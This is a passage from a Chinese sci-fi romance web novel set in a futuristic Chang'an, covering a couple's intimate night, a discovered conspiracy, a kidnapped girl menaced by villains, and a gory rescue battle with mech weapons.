鼻息泄了细细的呜咽,受不住,攥着床单的手开始毫无章法地往边烬的寝衣口揉去。
边烬的衣领被她攥得褶皱不堪,身上人还是不给,沈逆难受地去找她的右手。
才刚刚寻到边烬的右手,往掌心里蹭了一下,这人倏然抽离,看了沈逆一会儿。
也未管她唇面上发亮的残余,起伏难平的心口,自己拢了衣衫,踏着冰冷的夜色,往工作室去。
沈逆被她搅得没辙,喘息都没法靠自己平稳,只能匆忙跟上去。
来到工作室,边烬已经坐在工作台上了。
流光划过她柔顺的青丝,分明没有任何表情,她只坐在那儿,就无比诱人。
边烬说:“来。”
沈逆乖乖走到她面前,边烬摸她的额头。
“这么热?”
“嗯,你弄的。”沈逆有些委屈。
边烬嘴角浮起一丝笑意,很快落了下去。
“今晚有什么要问?”
“我问了你会说吗?”
“不会。”
沈逆憋了一下气。
“那我还费什么唇舌?”
沈逆主动上前,站到边烬的身子范围内,双手撑着她的膝盖,想继续刚才那个吻。
双唇又被指尖挡住。
边烬:“先修逆芯。”
沈逆:……
“奖励依旧。”
本来逆芯就是要逐步完善的,先前规划的所有功能都得实现。
只是事情实在太多,李家姐妹打架偏偏要扯上她,还有那阴魂不散的秦无商和黑魔方不停作祟。
现在被边师姐“压迫”着紧急修复也未尝不是好事……
逆芯的完善程度与边烬的痛觉恢复指数相连。
逆芯百分百完成的那日,就是边烬的痛觉完全恢复之时。
对于她这种高战斗天赋者而言,痛觉在战斗中不可或缺,是风险评估的要素之一。修复后也算铲除了一个隐患。
再说,还有奖励呢。
……
这一夜过得飞快,又完成了四个点。
沈逆刚匹配完接口,被身后人揽了一下。
“嗯……?”
距离上一次奖励还没过去半个时辰,师姐这么一抱她,她又开始胡思乱想,身子已经被弄得敏感得要命。
沈逆晕忽忽地往后转脸,边烬纤长的手指从她绷紧的脖子往上抚,扣着她的下巴,维持着她的动作,吻一深再深。
浓烈的侵占欲在未晓的浓夜深处,安静地爆发。
沈逆被抱上工作台,又被压在上面,浑浑噩噩间又制到沙发里。
一整夜体温就没有降下来过。
手腕被揉得发红,汗水交融,红潮难退。
反反复复间,沈逆隐约察觉到边烬想在她深处留下某种印记。
特别是身上逐渐交错、加深的痕迹,正是边烬混乱、焦灼又浓烈占有欲。
一次又一次沉沦时,沈逆心头被某种不断高涨的酸楚占据。
好痛,快要不能呼吸。
那不是她自己的情绪,而是情意共振下,边烬的思潮在一点点把她吞没。
……
沈逆是在寝屋床上醒来的。
她又一次被边烬弄晕了。
醒来时,见边烬坐在床边,正安静地垂眸凝视着她。
沈逆以为这是烬师姐,正要开口,忽然止住。
不对,还是她。
“是你吗?”
没回答沈逆的问题,可以确定,的确是边师姐,还是她。
沈逆:“怎么……”
边烬:“怎么我还没走?”
沈逆想坐起身,说“我可没驱赶你”,刚一动弹,酸胀的腰臀和腿抽了一下,竟没坐起来。
感觉还是好清晰,沈逆难受地抱住被子,怨念地看边烬。
“我才不是那个意思。就是,你还要继续吗?”
连续两夜,她真有些吃不消。
当初她放话说女人和女人可以一整夜时,完全没想到真的会应验。
应验在自己身上。
边烬:“没。”
只是想多看师妹一会儿。
天亮之后,她又要回到迷雾之中。
沈逆眨眨眼:“那……”
边烬没再说什么,拢了寝衣,躺下。
看边师姐似乎要回去了,沈逆稍微安心了些,也躺下,不知不觉中背对她。
边烬看着沈逆的后背。
窗帘缝隙中透进屋的阳光,一寸寸铺在她澹然凝视的脸庞上。
沈逆忽然被身后人抱住,心砰砰乱跳一阵,以为还要再来。
没想到,没有别的触碰,只有紧致的拥抱。
箍得她骨头发痛的拥抱。
边烬还是什么也没说,依旧像静默的,随时会消散的影子。
沈逆任她这样拥着,没有任何反抗和推拒。
反而轻轻地,在边烬的手背上落下一吻。
吻在骨节上,很轻,像轻柔的安抚。
身后人紧拥的力道有一瞬的凝滞,化成沈逆嘴角了然的笑意。
边师姐,晚安。
……
边烬睡着了。
双臂紧扣的力度慢慢散去。
占有欲变成了温柔的守护。
沈逆睡不着,看着初升的晨光,又倦又累,没有任何睡意。
等身后人气息完全规律、平稳后,沈逆从她怀中出来。
夏日的晨间,稀疏的光和隐约的热,闷在窗帷之后,做好随时大举杀进屋内的准备。
花园的花已经过了全盛期,勉强维持着最后的繁盛。
沈逆鼻尖上冒了两颗小小的汗珠。
不知是夏日的威力,还是边烬留在身体里的火种。
说不清的燥。
寝屋里尽是边烬的气息,沈逆没舍得走,轻轻推开窗棂,唤来两只侦查鸟。
既然她睡不着,那就随即找几个人一块儿失眠吧。
两只侦查鸟都关闭了隐身模式,输入指令,放飞。一只往东,一只往西。
侯府外,丽景门小队围了一整晚,没有发现任何异常。
此刻天将亮,正最困倦的时候。
丽景门小队一夜没睡,这会儿强打着精神,等待着另一支小队过来交班。
就在此刻,发现了异动。
“队正,从侯府面飞出了两只机械鸟,是否现在立刻捕捉机械鸟的行动路径?”
机械鸟在此时放飞太可疑了,队正立即下令:
“分成三个小组,一组往东追一组往西追。剩下的一组原地待命,继续紧盯靖安侯府的一举一动。”
“喏!”
丽景门小队迎着愈发炎热的晨光,气喘吁吁地跑满大半个长安城时,沈逆痛痛快快地洗了个澡回来。
从庖厨抓了一串葡萄,在恒温的室内,一边吃葡萄一边整理了出一份清单。
黑入某个的地址,圈出了路径,基本上能确定自己的猜测。
迟疑地放下清单。
果然,边师姐在回长安城之前就已经布局好了一切。
她应该是刻意被丽景门发现,让丽景门押解她回长安城。
丽景门,李渃元,甚至沈逆本人,都是一枚握在师姐手中的小小棋子。
利用的对象。
沈逆的心不受控制地越跳越凶。
边师姐所谓的“失控”指的是什么,和星河铬素又有什么关系?
对于机械师以外的人,星河铬素没有顶级材料的光环,而是携带致命辐射的恐怖物质。
沈逆曾经猜测过,星河铬素是否具有吸引黑魔方的特质。
迄今为止,没得到下一个论据。
没想到居然成为边师姐和神秘人谈话中的一个元素。
沈逆推测,边师姐联系的人很有可能是机械师。
一个懂的使用星河铬素的机械师。
极有可能,就是帮她建立记忆禁区的那个人。
沈逆坐在矮案上出神许久,把一份古籍从记忆模块里调了出来。
这份古籍,是一本传奇机械师手册。
著作者不详,书名已毁,里面记载了许多已经失传的机械师技法和推演。
两年前她从暗网上高价拍下了这本书,以及另外十本机械师相关的书籍。
那时关于逆芯所有的构想都已经完成,就差原材料的选定。
在六种材料之间举棋不定,沈逆打算多找一些资料,寻找更多的灵感,帮助她确定最后的选材。
她就是从那本传奇机械师手册中得到了星河铬素的灵感,费劲地采集到了微量的星河铬素做实验,结果惊为天人。
星河铬素就是她梦寐以求的原材料。
人在历经艰难终于成功的那一刻,很容易被当下的兴奋冲昏头脑,很难去回溯整件事的合理性。
手册得到得太轻易,里面记载的方法对沈逆也过于适用,适用到极其顺利就造出了她想要的逆芯。
仿佛是一个已经张开的双臂,就等着走投无路的她主动投怀送抱。
她是个不相信巧合的人,却在艰苦实验终于成功时,忘记了这条铁律。
贞观廿二年盛夏的某日清晨,当沈逆重新追溯打造逆芯的过程,终于发现了藏在水下,托着她往前走的那只手。
第一次意识到,她以为隐秘而庞大的布局,竟比她想的还要大,还要深。
冷汗洽背。
……
边烬每日醒来的时辰很准。
以往的沈逆基本上都还在自己怀中,要她唤到第三下,才会不情不愿地睁开眼睛,讨个吻或卖个乖,才愿意慢吞吞地起床。
今日,沈逆已经在矮案边了,一身清清爽爽,头发还沾着水汽。
沈逆见她醒了,开心道:“昨晚我可干了件大事儿。”
沈逆头发有些毛糙,笑得像颗自个儿剥开的糖果。
笃笃笃——
有鸟在啄窗户,沈逆道:“回来了。”
打开窗户,两只侦察鸟分别叼着两家知名酒肆的早点袋子,沈逆取了下来,说:
“今早咱们吃点外卖点心。师姐,你先去洗漱吧。”
边烬洗漱的时候,沈逆跟她说今个儿一大早她放了两只侦查鸟出去,果然把那些暗自盯着侯府的丽景门女官勾着了。
以为是传递关于国宝的秘密情报,两队人马跟着绕了长安城一大圈,结果眼睁睁地看着它们带回来两包外卖,现在正在侯府外那条小巷子的渣斗边气急败坏。
沈逆笑,边烬也跟着笑。
一切都很正常。
正常的晨间,正常的妻子,正常的笑容和可爱的小手段。
明明一切没什么变化,可是落在边烬眼中,一夜未见的沈逆身上摞上了未知的厚重感,罩着一层难以捉摸的不真实。
“发生什么事了吗?”
边烬问。
沈逆怔了一下,以为是边师姐又出现了,可下一息她就意识到,还是烬师姐。
精妙又难解的庞大布局从沈逆心头呼啸铺展,困住她的舌尖,最后只挤出两个字:
“没啊……”
沈逆说这两个字时提起了笑容。
她不确定自己此刻的笑意,在边烬看来是什么模样。
假不假。
边烬没追问。
沈逆说没有,她便相信。
只是心中有一份怀疑的种子在土壤之下慢慢生长。
让她心不在焉。
晨间的炼体的时候,因为这份心不在焉,手背被划破了。
鲜红一道,痛感清晰。
她又一次感受到了痛楚,而这份尖锐的痛意来得如此突然。
痛觉好像已经修复了不少。
何时修的?
边烬目睹着鲜血从伤口中缓慢渗出,久违的痛感密密匝匝地从手背爬上心头,和那份疑窦纠缠着,冲撞着,惊悸不安。
第104章
沈逆这几日忙得很。
忙着溜丽景门,又夹在“两位”师姐之间谨慎地周旋,不敢出一点差池。
更不用提还有城防工事以及一大堆烧脑筋的事需要她惦记。
这便没来得及给李渃元与弦昼国开战一事添堵。
窦璇玑又传了几次情报到靖安侯府,如她们所料,这仗终究没能打起来。
李渃元一心主战,可惜被一群言官连连上疏。
劝她万万不可开战的奏疏险些将御书房给淹了。
连不会对她说半个“不”字的韩复,都不支持她在此刻再起战事。
李渃元落到个孤立无援的下场。
听完这消息,沈逆眼前已经铺出一副李渃元愁断肠的画面。
炼丹炉要是一直找不到的话,她的魔种会落个什么下场,沈逆还真挺好奇。
李渃元显然咽不下这口气。
眼看着仗是打不了了,李渃元揪出了几个劝战之臣,一调查,果然都和安王沾亲带故,一腔愤怒全部发泄在他们身上。
韩复寻了各种罪名按在他们头上,连十年前写过的文章都从犄角旮旯里翻出来,赐了几个大不敬,又弄了几个不孝不悌的罪名,夺官剥爵。
李渃元这一手让人猝不及防,朝中安王党羽人人自危。
吏部尚书暗中出来主持大局,让大家稍安勿躁,天子已是强弩之末。
待安王登极,眼下受的罪自当一并讨回来。
李渃元的确是强弩之末。
日渐消瘦的帝国天子闭门三日,谁也不见。
韩复守在殿外,寸步不离。
李渃元也曾隔着门,断断续续跟她对话。
回忆着只属于她俩的过往。
“阿复,如果人生能重来一次,你还会随朕回长安吗?”
韩复知道她的言下之意。
若不来到长安城,她就不会以身炼毒,自毁双眼。
如今也不会被逼入困境。
李渃元若是宾天,韩复必然是新帝第一个要除去的隐患,下场定然凄惨。
李渃元脑子塞满了复杂的往事和困顿的前路,却听韩复冷水般的声音从殿外漫进来。
“陛下,臣从来不想如果之事。”
殿内的李渃元沉默了,也冷静了。
一些细碎的声音传入韩复的耳朵里,那是李渃元在踱步的声响。
走走停停,停停走走。
韩复忽然想起,她到李渃元身边之后,李渃元就再也没有离开过大明宫。
天边轰隆隆地滚着闷雷,那声音越来越近。
她等着一场豪雨,而想象中的豪雨始终未来。
更闷得人心慌。
轰隆隆——
雷声入耳,沈逆急匆匆地推开屋门。
“师姐!”
边烬:“我也收到了。”
她俩收到了同一封信,来自曾倾洛。
曾倾洛信上说,她发现了李极在暗中绑架南衙十二卫和北衙四军的统领亲眷,企图控制禁军。现在正在跟着线索,且把坐标共享过来了。
边烬:“这孩子还真是越来越胆大。”
南衙十二卫加上北衙四军,乃是守卫京师以及驰援各地的精锐禁军。是丽景门之外李渃元最重要的左膀右臂。
李极居然敢拿禁军开刀,这是看准了李渃元士气受挫,明目张胆刺她软肋,以牙还牙。
边烬立刻出屋要去寻她,沈逆拉了她一把。
沈逆:“师姐,坐我新造的载具过去,正好上路试试性能。”
……
曾倾洛这段时日上值下值过得规律,暗中有侯府护院保护,在长安城内行走再无负担。
偶尔会帮万姑姑采买些东西,也继续担任沈逆的探子,在城中探查各路情报。
这几日她发现城内陆续有人失踪,有老有少,有男有女。
一开始曾倾洛以为是异兽在作祟,继续查下去,惊觉这些失踪人口有一个共同的特点,都是南衙和北衙统领的亲眷。
曾倾洛很快嗅到了异样,有人在针对禁军下手。
能有这胆子又有利可图的,除了李极,恐怕再找不出第二位。
半个时辰前,曾倾洛从邮驿中出来,正好看见一男子驾驶马车,从巷尾一闪而过。
马车上的男人戴着帷帽挡住了脸,却遮不住独特的体格。
当了多年的探子,曾倾洛对人的样貌和体型很敏锐,这人见过,记得。
是康逸。
马车行驶得飞快,车厢隐约有些闷响。
曾倾洛暗暗跟了一段路,跟到郊外的土路。
扫描车辙的痕迹,确定车厢内有人。
系统描绘出车内人画像:女性,八岁至十五岁之间,身高四尺至五尺之间。
是个小娘子。
曾倾洛悄然潜行继续跟踪,四名护院追随着她。
她不知道自己将面对的是什么,唯恐能力不济控制不住,便飞了一鸽给沈逆和边烬。
一直跟出了城门,到了荒无人烟的缓冲带。
一座巨大的斗技场矗立在昏晦荒莽的大地上。
斗技场已经荒废多年,残破不堪,高耸的围墙堪比城门。
车驾进去后,门严丝合缝地合上。
曾倾洛悄声无息地攀上围墙,从围墙的裂缝中窥入。
一眼看到了李极。
其实李极坐的位置很偏僻,在圆形擂台的角落下方,正好能遮住那时不时闪现的太阳,身后更是站在十多位武卫。
即便如此,曾倾洛还是立刻就发现了她。
还有另一拨人,身材魁梧,似高级战斗天赋者,面容凶戾陌生,并未像李极其他武卫一般站在她周围。
李极坐着绝对不可能出现在这儿的沙发,应该是武卫帮她搬来的,柔软舒适,最适合她这懒散的坐姿。
李极手里拿着支笔,交叠的双腿上摆着面画板,心不在焉地涂着画。
马车进来也没抬头。
好像眼前发生的所有事情都和她无关。
车夫下车,掀开帷帽,果然是康逸。
“人带来了。”
康逸竟不是对着李极说话,而是面向那一群陌生面孔。
陌生面孔为首的男人只有一颗头还是人类的形态,身体是纯义体,庞大的身躯闪着金属的冷光,犹如直立起来的车厢上顶着颗脑袋。
旁人称他为河望。
河望打开马车的金属门,从里面拎出一个瑟瑟发抖的小娘子。
小娘子拼死反抗,他狠狠把她摔在地上。
小娘子跌得一阵晕眩,抱着脑袋蜷缩起身子,害怕地抽噎。
李极目光依旧落在面前的画板上,沉浸在她画中世界。
河望对身后人抬了一下眉,斗技场的铁门打开,曾倾洛听到了熟悉的低吼。
异兽……
还是一只体型极大的异兽。
异兽伏在地上,八条腿撑着被乱体覆盖的扁圆形身子,犹如一只巨型蜘蛛。
那八条腿的形态各异,有几条像马蹄,有几条像人腿、异兽的后背上支棱着许多挨在一起的人头。人头面孔齐齐朝天,面容灰败眼球突出,嘴无力地张着,梗着脖子像寻求最后一口气。
从它臃肿诡异的身躯可以判断,这只异兽吞噬了很多人。
奇怪,曾倾洛捂着心口。
体内的探测模块居然没有报警。
再仔细看,那异兽的尾部贴满了奇异的符纸,和秦无商额头上贴的那种非常相似。
是它遏制了探测器,隐藏了异兽的行踪?
曾倾洛心头乱糟糟的。
若这符纸这般厉害,只怕会引发前所未有的灾难。
异兽从铁门中歪歪斜斜地走出,似乎还不太知道八条腿该怎么行走。
它身体前端有一个横向打开的口器,口器上方立着粗壮的脖子,很像人类的脖子,但比人类的要粗上好几圈。脖子顶着一颗翻着白眼的虚弱脑袋。
一根坚固的牵引绳锁着异兽的脖颈,牵引绳另一头在河望手中。
河望力气奇大,竟能以一人之力拉拽、控制这庞然大物。
他故意将异兽牵到小娘子面前,异兽晃着被束缚的脖子,腹部发出不满的低吼,忽然,脖子对着小娘子冲去,顶端的脑袋从中间裂开,内腔是猩红的血肉和鲨鱼般密密麻麻锋利的牙齿,饥饿的吼声震得整个斗技场在颤抖。
小娘子吓得哭腔都卡在喉咙里,浑身抖个不停。
待那异兽要吞噬小娘子,河望用力一把将它拽回去。
河望对小娘子道:“哭啊,怎么不哭?”
暗处有个镜头对准了她,正在记录她害怕的模样。
小娘子牙关咯咯作响,眼泪悬在眼眶里没有立刻落下来。
河望手一松,异兽猛然上前,小娘子惊叫一声手脚并用往后躲,惊恐万状,四下躲避。
河望手里拉着异兽,分寸刚刚好,每次异兽只差一点点就会咬到小娘子。
惊叫声充斥斗技场,李极还在画画,甚至在认真思考构图是否该重新调整。
小娘子被折磨的场面,让曾倾洛暗暗攥紧拳头。
一直跟着她的护院,轻轻拍了拍她的后背,意思是不要轻举妄动。那个河望很有可能是S级战斗天赋的佼佼者,更不用说敌方不止他一个S等级。
曾倾洛咬紧牙关。
拍够了,河望拉回异兽,把它关到铁门之后,“轰”地合上门。
河望对拍摄的下属说:“现在就把视频传给她娘。”
下属:“喏。”
河望拿来一瓶不透明的金属容器,拽起小娘子,下属掰开她的嘴,容器里的黑色液体灌入口中。
小娘子被呛得剧烈咳嗽,不知道自己喝下什么,拼命往外呕,只想快点吐出来。
河望看向一直置身事外的李极。
“殿下,请吧。”
李极还是不为所动,像没听到他的话。
河望拽着小娘子,将她丢到李极面前。
“殿下。”
河望嘴上恭敬,神态却很轻佻。
“再不催眠,药效可就要过了。”
催眠,药效?
前一个词曾倾洛能理解,可为什么要用药?
护院在她耳边低语:“有些药可以让催眠效果大增。”
原来如此。
因为李极的精神天赋较低,要产生强劲的催眠效果,需要长时间的深入接触。
若是催眠目标服下了药的话,即便天赋不高接触不深,也能在短的时间内达到深度催眠的效果。
这帮人拍摄了视频,去威胁小娘子的娘亲,同时让李极对她催眠,实现对小娘子的精神控制。回头便能轻易操控人质,让小娘子的娘亲任由他们摆布。
曾倾洛咬紧牙关。
禽兽不如!
可……
曾倾洛想到一件事。
如果有这样的药,当初在帝国客栈顶层度过的那几日,李极为什么没给她吃呢?
当时她尚未怀疑李极,若有药,很有可能在不经意间就喝下去了。现下如何被她掌控也未可知。
曾倾洛思绪飘了一会儿时,李极终于有了变化。
她将画板递给身后的康逸。
“向叔叔最近身体怎么样?”
问了句不相干的话。
河望笑笑,“劳殿下挂记,向公身体硬朗得很。”
李极失望地叹了一声。
“是么,最近可真是一点好消息都没有啊。”
河望眼皮微不可闻地跳动着。脸色又沉了几分。
“殿下,开始吧。”
李极冷淡的目光转向那残花般的小娘子。
小娘子嘴角还有残留物,意识已然模糊,双眼发直,双臂被拽着不让她倒下,时不时抽搐着。
肮脏又下流的丑事,一点儿都不美。
眼下却要做她最瞧不起的事。
一次又一次。
即便跑到长安城,依旧无法摆脱。
恶心的感觉荡在胸口,面无表情,一丝丝地释放精神力。
她好像听到了曾倾洛的声音。
李极自嘲地冷哼了一下。
真不至于,看了太多遍与她欢爱的记忆,竟会在这时候产生幻觉么?
李极。
“李极。”
李极蓦然一怔,不是幻觉,的确是曾倾洛的声音。
她寻着声望向高处,曾倾洛从她春水般的梦里走了出来,站在一片废墟之上,俯视她。
曾倾洛:“李极,你过来。”
河望疑惑地看向康逸,用眼神在询问那人是谁。
没人觉得骄矜的安王,会听从一个莫名其妙出现的小女郎的命令。
“李极。”
曾倾洛暗吸一口气,不让任何人看出她紧张的情绪。
“过来,把小娘子带过来。”
她再次命令。
李极的呼吸消失了一瞬,之后,心跳不受控制地在左胸腔里冲撞,越撞越快,撞得她心口发烫,发痛。
灰暗恶心的世界里,忽然被撕开了一道口,出现了她逃离的理由。
第105章
就要鬼迷心窍往前踏一步,李极身前多了一只粗壮的机械手臂。
河望挡在她身前,“殿下,危险。”
李极沉着脸道:“她手中有我的把柄。”
河望似乎不太相信李极的话。
曾倾洛看上去人畜无害,安王诡变多端,要是有把柄落在这小女郎手中,恐怕早就找出八百种方法将她杀了,岂会受她胁迫?
河望:“属下这就帮殿下清理了她。”
李极轻轻一笑。
这笑中带着毫不掩饰的轻蔑,河望察觉到了。
“你若想要向知番的计划全盘泡汤,你就杀。”
没待河望反应过来,李极撇开他碍事的手臂,走到小娘子面前,冷眼瞧着还拉着她手臂的河望下属。
下属们暗暗看向河望,等着河望定夺。
河望阴鸷的眼神落在李极身上,没有拒绝,他们便只能松开了手。
李极单手拎起小娘子的胳膊,小娘子恍恍惚惚,路都没法走。
李极将她带到围墙之下,抬起头,对上方的曾倾洛道:
“我来了,你下来。”
曾倾洛还没有动,身边的护院先拉了她一把,阻止道:
“曾女郎,太危险了,恐怕有诈。”
曾倾洛也在犹豫。
她对李极不算了解。
此人狡猾多变性情古怪,有什么后手的确难以预料。
李极看出了她的担忧,撒开小娘子,让她自个儿坐地上。
随后,腾出了双手,对着曾倾洛慢条斯理地解开外衫的搭扣。
曾倾洛:……
跟着曾倾洛的四名护院,看到李极这番做派和玲珑傲人的身材都热了脸庞。
护院:“她……这是在做什么。”
曾倾洛方才还觉得自己不甚了解李极,可与外人比起来,她竟能一息之间就读懂她的意思。
李极将外衫脱了,随手丢到小娘子身上。
小娘子方才被河望那帮人拽着,又异兽追撵着,轻薄的夏衣已经残破不堪。
这么点大的小孩露着身子,实在有碍观瞻,李极不喜,随手一遮。
李极的外衫之下只有一件清凉的裹胸,腰间围着蹀躞带,下身是窄裤。
挂着匕首的蹀躞带一解,也丢到地上。
此刻她的穿着再简易不过,一眼就能看完,藏不了任何武器。
李极慢悠悠地抬起双臂,把自己展示给曾倾洛看。
果然和曾倾洛想的一致。
李极宽衣的行为就是在告诉她——瞧,没危险,你可以下来了。
即便有可能被精神力影响,但李极的精神天赋不高,短时间内应该无法产生强大的控制力。河望等人也在几十米开外的地方。
曾倾洛心一横,准备下去。
是她要让李极带人过来的,若还是慢吞吞的不敢下去,只怕在气势上就会矮对方一截,以后想要拿捏李极就更不容易了。
曾倾洛跃下城墙。一直守在她身边的那名护院是A级战斗天赋,暗示其她三位同伴暂时不要出来,继续躲在暗处埋伏,她先跟着先下去。
两人一前一后跃下。
曾倾洛轻盈着地,近距离和李极对视。
李极双目不瞬。
不再是记忆模块里那些陈旧的,已经能记下所有细节的过往。
她面前是全新的曾倾洛。
是新的交集,无数的期待以及想要把曾倾洛狠狠攥在手中捏碎的亢奋,犹如高速行驶的列车,在李极心口呼啸地驶过,震得她五脏六腑都在颤抖。
嘴角的笑意就要藏不住。
曾倾洛将小娘子搀起来,交给身后的护院。
“带她走。”
护院接过小娘子,依旧警惕地看向李极。
曾倾洛:“没事。”
护院犹豫了一下,还是听从了命令,抱着小娘子离开了。
李极全程目光只落在曾倾洛脸庞上,专注,贪婪。
“拿捏我开心吗,曾倾洛?”
曾倾洛没去搭理她话中的暧昧,注意力投向前方。
远处的河望等人伺机慢慢逼近,康逸和繁之挡在他们面前。
康逸:“殿下在那,你们这样贸然过去,只会让殿下陷入危险。”
河望:“我可不知道什么时候需要听你指挥了。”
康逸目光沉了下来,杀气慢慢浮上眼眸。
李极背对着康逸道:“还等什么?”
还不杀了他们?
李极的话像落地的火星,倏然点燃了烈焰。
康逸和河望四目相碰,乍然而起的杀气对撞,二十多人几乎在同时兵戈相交,血雾四溅。
曾倾洛没想到他们内部会自己斗起来,意识到李极恐怕也在等待着某个时机,摆脱那个对她无礼的男人。
无论如何,小娘子被救走了,曾倾洛可以离开了。
“不想死就躲到一边去。”
曾倾洛离开前随意提醒一句。
李极这身金贵的皮囊有多脆弱,她比谁都清楚。
李极:“这么在意我啊?”
曾倾洛:……
懒得跟她废话,曾倾洛就要离开。
河望正在和康逸对战,这两位S级战斗天赋者势均力敌,谁也讨不着谁的便宜。河望忽然发现曾倾洛要走,一拳逼退了康逸,调头向曾倾洛的方向冲过来。
河望体型庞大,速度出乎意料的快,轰隆隆地卷起尘土,杀将而来!
曾倾洛一把推开李极,与此同时迅速拔枪,双手持枪稳住身形,对着狂奔而来的河望连开数枪。
河望双臂挡在身前,蓝色的能量盾像车厢前的防弹玻璃,弹开了所有射向他的子弹。
距离越来越近,曾倾洛立刻抽刀!
河望的双眼左右一转,忽然当空向侧边横踢。一名披着隐身衣正欲偷袭的护院被他踢飞,飞入空旷的观众席,扫倒一整排破败的椅子。
河望刚踢出一腿,迅速调整了动作,双腿猛蹬地面,庞大的身躯灵巧地跃入空中,躲开从反方向包抄过来的另一位护院。
这两名护院一直藏在暗处等待最佳出击的机会。
河望杀气腾腾冲向曾倾洛的时候,注意力必然都集中在目标身上,对周围放松警惕。
没想到,河望身经百战,专注点不只是目标,而是整个战场。
护院手中的双斧交叉劈了个空,心也跟着一咯噔。没来得及抬头,河望从空中猛地撞下来,膝盖顶在护院的后脑,直接将她的脑袋砸进地里。
这护院是A级战斗天赋,却挡不住河望一击,当场没了意识。
河望刚站起身,曾倾洛手中巨刀呼啸着当空落下,劈向他面门。
也没想到,这小娘子区区B级战斗天赋,看到比自己高等级的同伴被打得毫无还手之力,居然还敢上。
河望怪笑一声,抬臂抵挡。
曾倾洛巨大的刀砍在能量盾上,当场碎裂!
无数的碎片从她眼前划过,曾倾洛心下一惊,立即拉开距离。
河望身上闪烁着白色的能量流光,能量池装在未知的地方,源源不断地往他的盾中注入能量。
这是他最引以为傲,花费巨资改造的义体。
河望张开宽阔强壮的身躯,蓬勃的能量在他身体上涌动,犹如一颗绽放光芒的星体。
他对曾倾洛讥笑着:“我的身体千锤百炼,价值连城,岂是你那把破刀能伤……”
话还未说完,一辆疾驰而来的飞艇撞在他腰上,直接将他撞飞。
河望的视野天地调转,还没看清撞飞他的是何物,坐在飞艇后座的边烬撑着前排沈逆的肩膀,一跃而起,长腿似鞭,狠抽在河望的心口。
河望被一脚抽飞,擦着地面砸向关着异兽的铁门,铁门直接被他撞毁,一路上还捎带上了两个部下,三人一起轰进异兽的巢穴。
边烬这一脚没收力,正好最近心里有点不痛快,这群人算是撞到枪口上了。
边烬拍了拍裤脚,看地面上散落着被她抽碎的义体碎片,冷笑道:
“千锤百炼?价值连城?”
曾倾洛双眸一亮,“大师姐,小师姐!”
边烬:“没受伤吧?”
曾倾洛摇着头,“没有!”
李极在一旁看着曾倾洛对边烬乖顺的模样,就像她俩在护城河边初遇时那般可爱……
望着她师姐的眼神都全然不同,李极嗤笑一声:“丢人。”
曾倾洛完全没听到她的嗤笑,依旧紧跟在边烬身侧,注意力完全被带走。
李极:……
曾倾洛发现沈逆骑着一辆陌生的劲黑飞艇,飞艇乍看之下和普通的飞艇没什么区别。
边烬坐回沈逆的后座,沈逆轰然启动飞艇,以飞艇为轴心,横向和纵向划出两道垂直交错的黑色圆形光环,像经、纬二线。
光环极窄,锋利,似能切割一切的利刃。
沈逆载着边烬杀入敌阵,两人都没动手,黑色光环高速旋转,快到肉眼无法察觉。
飞艇所到之处残肢与鲜血、动力油飞喷,涂了满地。
无论是河望的部下还是李极的下属,众人皆惊,速速退散躲避。
刚刚躲过被飞艇切割的厄运,身后呼啸着飞来一扇沉甸甸的大铁门,来势极凶,三个人被铁门并排砸中,齐齐被拦腰斩断。
飞艇低空飞行,划了个漂亮的弧线,车头对准铁门飞来的方向。
铁门正是先前关异兽的门。
嗒嗒嗒——
八足异兽一步步往外走,摔入兽穴的河望被它的口器咬住了最脆弱的脑袋,惨叫着,乱体刺穿了他的脖子,他正被饥饿的异兽迅速吞噬。
边烬捏沈逆的肩头,“开火。”
沈逆的手指摁下车把的红色按钮,飞艇前端圆形区域登时闪现耀眼白光,连续八发电磁炮轰向异兽。
电磁炮来势极快,异兽忽然吐出河望,用河望抵抗电磁炮的进攻。
沈逆:“它有智慧!”
河望被炸得粉身碎骨,异兽原本慢吞吞地从通道里走出来,此刻像一只受惊的巨型蜘蛛,动作快若闪电,八足蹬上墙壁,嗒嗒嗒地飞速向沈逆和边烬袭来。
这面墙是观众席最前排之下的高墙。
异兽每一次蹬踏都会在墙面上留下一个深坑。
边烬凭经验判断,这是一只凤翼级异兽。
边烬撑着沈逆的肩头一跃而起,长鞭也在同一时间甩出。
长鞭圈向异兽的下盘,簌地一抽抽,困住八条腿中的两条。
异兽被绊倒,刚刚侧翻于地,边烬单手往上挑鞭,异兽的身子被拎至高空,身子翻转后重重砸回地面,八只脚在空中慌乱地蹬着,一时间翻不过来。
沈逆穿着飞艇变形成的全外骨骼战衣,抓住机会从天而降,手中的戒棍直直杵穿了它的口器。
师出同门的师姐妹曾经一同练过无数次阵法,现在又是亲密度刚刚破百的双妻,不用言语提示也能接上对方的行动,一拆一打,默契极佳。
异兽哀嚎着,乱体像血液一般往外喷,四处横生。
沈逆张开右手手掌,外骨骼战衣的右手也跟着打开,三孔激光切割刀在掌心中开启。
锋利的激光刀切在异兽的身上,如利刃切豆腐,转眼剥出了内核。
边烬长鞭左右抽打,把凌乱碍事的巨大残体抽到一旁,沈逆两步跃到内核前,从腰间抽了一个虚电容袋出来。
边烬暗暗看沈逆这个操作。
沈逆封装内核的时候道:“食物储藏区已经挪到了绝对不碍事的地方。除了抬手就能用的武器,其他的都装在腰间。下次若再托管身体,想要什么还是往腰间抽就对了。”
边烬:……
沈逆把虚电容袋往另一侧的腰部舱口推进去,里面是能容纳三个异兽内核的水银箱,异兽内核都可以暂时封装在里面。
外骨骼战衣重新变回了飞艇,扣着安全带的沈逆坐在原地没动,整个过程非常丝滑。
这一趟兜风兜得还算顺利。
还没起名字的载具一号除了过热到沈逆不停冒汗之外,还是很符合预期的,没有辜负她这段时间熬出的黑眼圈。
河望被轰成碎片,他手下已经暗中潜逃。
受伤的康逸和繁之等李极部下都没走,因为李极还在。
曾倾洛正要去寻边烬和沈逆,余光中见李极不知何时拾起了匕首,已经距离曾倾洛极近。
匕首的寒光,让曾倾洛心中一紧。
就在她以为这把匕首要刺入自己身体时,李极握住了她的手,将匕首压到她手中。
李极指了指自己的胳膊,“往这儿刺。”
曾倾洛不解道:“什么……”
“你救走了我重要的人质,若我完好无损,不好交差的。”
李极在她耳边轻声说着,远处的部下听不见。
曾倾洛:“你需向谁交差?”
李极的面容上有种说不清的灰,像她画作里贯爱用的大面积色块。
浓烈,又难以琢磨。
李极没有回答她的问题,只让她刺。
曾倾洛没有立刻动手,清秀的一张脸上,眉头拧得那么紧。
让李极想起那些记忆的细节。
曾倾洛在最快乐的时候,眉心也是这样紧。
李极忽然捧起曾倾洛的脸。
